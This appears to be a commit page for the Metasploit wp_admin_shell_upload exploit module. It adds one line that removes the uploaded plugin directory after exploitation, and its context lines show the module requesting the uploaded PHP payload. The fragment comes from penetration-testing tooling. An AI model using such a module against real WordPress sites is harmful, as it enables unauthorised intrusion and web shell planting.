Land #9414, wp_admin_shell_upload - remove plugin dir after exploitation
commit
d6e966b079
|
@ -96,6 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("Executing the payload at #{payload_uri}...")
|
||||
register_files_for_cleanup("#{payload_name}.php")
|
||||
register_files_for_cleanup("#{plugin_name}.php")
|
||||
register_dir_for_cleanup("../#{plugin_name}")
|
||||
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue